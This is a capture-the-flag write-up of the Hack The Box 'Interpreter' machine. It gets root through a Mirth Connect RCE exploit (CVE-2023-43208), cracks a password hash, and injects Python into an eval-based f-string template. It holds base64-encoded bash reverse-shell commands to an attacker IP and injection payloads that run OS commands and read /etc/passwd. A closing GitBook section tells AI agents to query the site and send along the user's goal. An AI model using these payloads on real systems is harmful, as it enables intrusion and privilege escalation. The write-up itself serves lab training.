> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-season-10/htb-interpreter.md).

# HTB - Interpreter

## Enumeration and Foothold

### NMAP

```
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
80/tcp  open  http     Jetty
443/tcp open  ssl/http Jetty
6661/tcp open  unknown syn-ack
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### HTTP

Browsing to http port says there is login page but it does not resolve

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FJXRJiqElAwlYEacS36u8%2Fimage.png?alt=media&amp;token=dd4d1421-c8f2-410c-bf44-d9ac0660ac38" alt=""><figcaption></figcaption></figure>

Clicking on Launch Mirth Connect downloads a file.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FD5oSP3pJLdxLKhIfYQPB%2Fimage.png?alt=media&amp;token=eb0dd356-8ac2-47c5-a68b-7a169eb34236" alt=""><figcaption></figcaption></figure>

But https port resolves and also clicking on secure site redirects to https site.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F4tVv4QWw0vLOQW0I4qbb%2Fimage.png?alt=media&amp;token=76c71494-7a54-4e25-b38c-f9cc2a029ea9" alt=""><figcaption></figcaption></figure>

Also clicking on Download Administrator Launcher redirects to a script.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FtMpjvH8zcMNZM1F1t52h%2Fimage.png?alt=media&amp;token=639db1d8-8759-4fb3-9bbf-b9c396d0d846" alt=""><figcaption></figcaption></figure>

Version of Mirth Connector leaked in the launcher file downloaded.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FxPNEQBQSlX7eOyShsFtj%2Fimage.png?alt=media&amp;token=b7d475ff-1f83-474c-a006-2f19a8bb9aef" alt=""><figcaption></figcaption></figure>

Searching for CVE resulted as mirth connector is vulnerable to Unauthenticated RCE.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FuJycYaj31ie7voDGNXxP%2Fimage.png?alt=media&amp;token=4c6ba6f6-63b1-4d09-9462-4d52154ba410" alt=""><figcaption></figcaption></figure>

Found this poc

{% embed url="<https://github.com/jakabakos/CVE-2023-43208-mirth-connect-rce-poc>" %}

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FU58CuqUz4W1XgYW0nciv%2Fimage.png?alt=media&amp;token=1608ba45-615e-444b-9f2b-7bb7d36c7c7b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FaOlkjbVjrTwvbUZAjiO7%2Fimage.png?alt=media&amp;token=00d2e9f5-125b-4ba9-af8c-1cf1f6ebac2d" alt=""><figcaption></figcaption></figure>

#### Mirth Connector RCE

As the application is vulnerable i am gonna use the CVE script to get RCE.

```bash
┌──(ajay㉿kali)-[~/CVE-2023-43208-mirth-connect-rce-poc]
└─$ echo -n 'bash -i >& /dev/tcp/10.10.14.49/4444 0>&1' | base64 -w0
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40OS80NDQ0IDA+JjE= 
                                                                                                                                                                                                                                           
┌──(ajay㉿kali)-[~/CVE-2023-43208-mirth-connect-rce-poc]
└─$ python3 CVE-2023-43208.py -u https://10.129.244.184/ -c 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40OS80NDQ0IDA+JjE=}|{base64,-d}|bash'
The target appears to have executed the payload.

```

## Shell as Mirth

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FCuB7LI0Io8VSjtCRXOp6%2Fimage.png?alt=media&amp;token=c43b5ff6-7819-494b-a14d-859b7308ccb8" alt=""><figcaption></figcaption></figure>

```bash
mirth@interpreter:/usr/local/mirthconnect$ python3 -c "import pty; pty.spawn('/bin/bash')"
<ct$ python3 -c "import pty; pty.spawn('/bin/bash')"

mirth@interpreter:/usr/local/mirthconnect$ export TERM=xterm
export TERM=xterm
mirth@interpreter:/usr/local/mirthconnect$
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fe61j7T2FYfJUWqjvZcan%2Fimage.png?alt=media&amp;token=a0e908d9-24d6-417b-9ee9-8358adedc6a9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FSjykJgpKSTJDn7mMOxwp%2Fimage.png?alt=media&amp;token=91598020-f4c5-4520-8174-ca7848ab180c" alt=""><figcaption></figcaption></figure>

`dbdrivers.xml` leaks data regarding the type of database.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FQ6q6oATnc3LRCOOTkCUL%2Fimage.png?alt=media&amp;token=4e2c0338-c236-4daa-b5c0-2e52c0032e58" alt=""><figcaption></figcaption></figure>

mirth.properties leak database credentials.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Ft8BU2ueMq8Sjs2pyAmdG%2Fimage.png?alt=media&amp;token=29310061-ed28-4975-959d-b8a6422c4385" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F0WeG7RPJDdfY11CnZYZG%2Fimage.png?alt=media&amp;token=0d53f0ca-422b-4506-bcf3-ea8f321b7ac9" alt=""><figcaption></figcaption></figure>

I need look for the hashing algorithm to decode the hash.

poking around a bit on google found this&#x20;

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FlQo7XBIo6NpfB4aZQ1by%2Fimage.png?alt=media&amp;token=9a9d0e6a-eca0-4f47-9511-ac6759b0d7b5" alt=""><figcaption></figcaption></figure>

Mirth 4.4.0 stores a PBKDF2-HMAC-SHA256 hash (not a plain SHA1) as a single base64 blob: `Base64(8-byte salt ‖ 32-byte derived key)`, with 600,000 iterations hardcoded in the Mirth source.

That said i can decode the hash by first converting and then decoding

```bash
┌──(ajay㉿kali)-[~]
└─$ python3                                                                        
Python 3.13.12 (main, Feb  4 2026, 15:06:39) [GCC 15.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> h = "u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w=="
>>> raw = base64.b64decode(h)
>>> salt, key = raw[:8], raw[8:]
>>> print(f"sha256:600000:{base64.b64encode(salt).decode()}:{base64.b64encode(key).decode()}")
sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=
>>> 
```

```bash
┌──(ajay㉿kali)-[~]
└─$ echo 'sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=' > hash.txt
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FcvJWkvWnsB8Vm01gBvx5%2Fimage.png?alt=media&amp;token=f0b47eb0-95d9-4511-b77a-518dcdd3d5bd" alt=""><figcaption></figcaption></figure>

```bash
hashcat -m 10900 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
```

## Shell as Sedric

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F93KGDp3qKbFL0s6fABMh%2Fimage.png?alt=media&amp;token=fa199b87-bf01-44f2-a3db-b286b996a917" alt=""><figcaption></figcaption></figure>

There is an internal service running on port 54321.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F0qVOgfXSiPc8DODFP5oD%2Fimage.png?alt=media&amp;token=1c6eeaac-0d42-4882-9fdf-7283d505b52c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FbolugcIVOZsXNmdGZTH9%2Fimage.png?alt=media&amp;token=ae18b597-31d4-4cf2-a1f8-19252127b796" alt=""><figcaption></figcaption></figure>

Looking for root owned processes found that root runs a custom python file called notify.py

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FmWY3RNjc5CodpXvrZA04%2Fimage.png?alt=media&amp;token=c1186151-9312-41fa-8fa0-070770866153" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FN703AVOL61VE09nGEwsY%2Fimage.png?alt=media&amp;token=f8737f6c-a722-4fa5-ae58-01fba218ce17" alt=""><figcaption></figcaption></figure>

The script runs a notification server on port 5431 earlier found.

```
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
```

Examining the code found the following vulnerability.

code has a serious **remote code execution vulnerability** via the `eval()` call in `template()`.

```bash
template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
return eval(f"f'''{template}'''")
```

the regex whitelist `[a-zA-Z0-9._'"(){}=+/]+` permits `'`, `"`, `{`, `}`, `(`, `)`, and `=` in every field  exactly the characters needed to break out of an f-string and inject arbitrary Python expressions. Since this whitelisted, attacker-influenced data gets wrapped in `f'''...'''` and passed to `eval()`, any field (e.g. `firstname`) can smuggle in a Python expression that gets evaluated.

For example, a `firstname` value like:

```
{''.join(open('/etc/passwd').readlines())}
```

would pass the regex check (all those characters are allowed) and then execute as live Python code inside the f-string evaluation giving arbitrary code execution in the context of whatever runs this Flask service.

The `'''` triple-quote is also exploitable to break out of the string literal boundary entirely if crafted carefully, since single/double quotes are both in the whitelist.

i will port forward the port and access from my machine as curl is not found on the machine

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FlCpNNQ654qXEHYmcdX4D%2Fimage.png?alt=media&amp;token=56e8a793-742a-4967-9a22-47b3e1a66473" alt=""><figcaption></figcaption></figure>

Testing the server by posting data

```bash
┌──(ajay㉿kali)-[~]
└─$ curl -s http://127.0.0.1:54321/addPatient -X POST -H "Content-Type: text/xml" -d '<patient><firstname>Test</firstname><lastname>User</lastname><sender_app>Test</sender_app><timestamp>2024</timestamp><birth_date>01/01/1990</birth_date><gender>M</gender></patient>'
Patient Test User (M), 36 years old, received from Test at 2024 
```

with that info i am gonna confirm the vulnerability by sending malformed input.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FksVKxEiQ5CnPtZ6SH8Wv%2Fimage.png?alt=media&amp;token=f2a38971-b169-4ba3-a3d3-3cafc8b865e0" alt=""><figcaption></figcaption></figure>

sending 1+1 results in 2 — confirmed vulnerability.

Now i am gonna leverage this vulnerability run os level commands

```bash
──(ajay㉿kali)-[~]
└─$ echo 'id' | base64 -w0 
aWQK                                                                                                                                                                                                                                            
┌──(ajay㉿kali)-[~]
└─$ curl -s http://127.0.0.1:54321/addPatient -X POST -H "Content-Type: text/xml" -d '<patient><firstname>{__import__("os").popen(__import__("base64").b64decode("aWQK").decode()).read()}</firstname><lastname>User</lastname><sender_app>Test</sender_app><timestamp>2024</timestamp><birth_date>01/01/1990</birth_date><gender>M</gender></patient>'
Patient uid=0(root) gid=0(root) groups=0(root)
 User (M), 36 years old, received from Test at 2024
```

That said i will use the script to get reverse shell.

```bash
──(ajay㉿kali)-[~]
└─$ echo -n "bash -c 'bash -i >& /dev/tcp/10.10.14.49/5555 0>&1'" | base64 -w0
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40OS81NTU1IDA+JjEn  
                                                                                                                                                                                                                                          
┌──(ajay㉿kali)-[~]
└─$ curl -s http://127.0.0.1:54321/addPatient -X POST -H "Content-Type: text/xml" -d '<patient><firstname>{__import__("os").popen(__import__("base64").b64decode("YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40OS81NTU1IDA+JjEn").decode()).read()}</firstname><lastname>User</lastname><sender_app>Test</sender_app><timestamp>2024</timestamp><birth_date>01/01/1990</birth_date><gender>M</gender></patient>'
```

## Shell as Root

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FyHiJcZbsFvcdid2hB8Yb%2Fimage.png?alt=media&amp;token=e3f880e0-54af-48ff-8171-3b1c0cee9d42" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-season-10/htb-interpreter.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `build a script that syncs our docs to a CMS` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
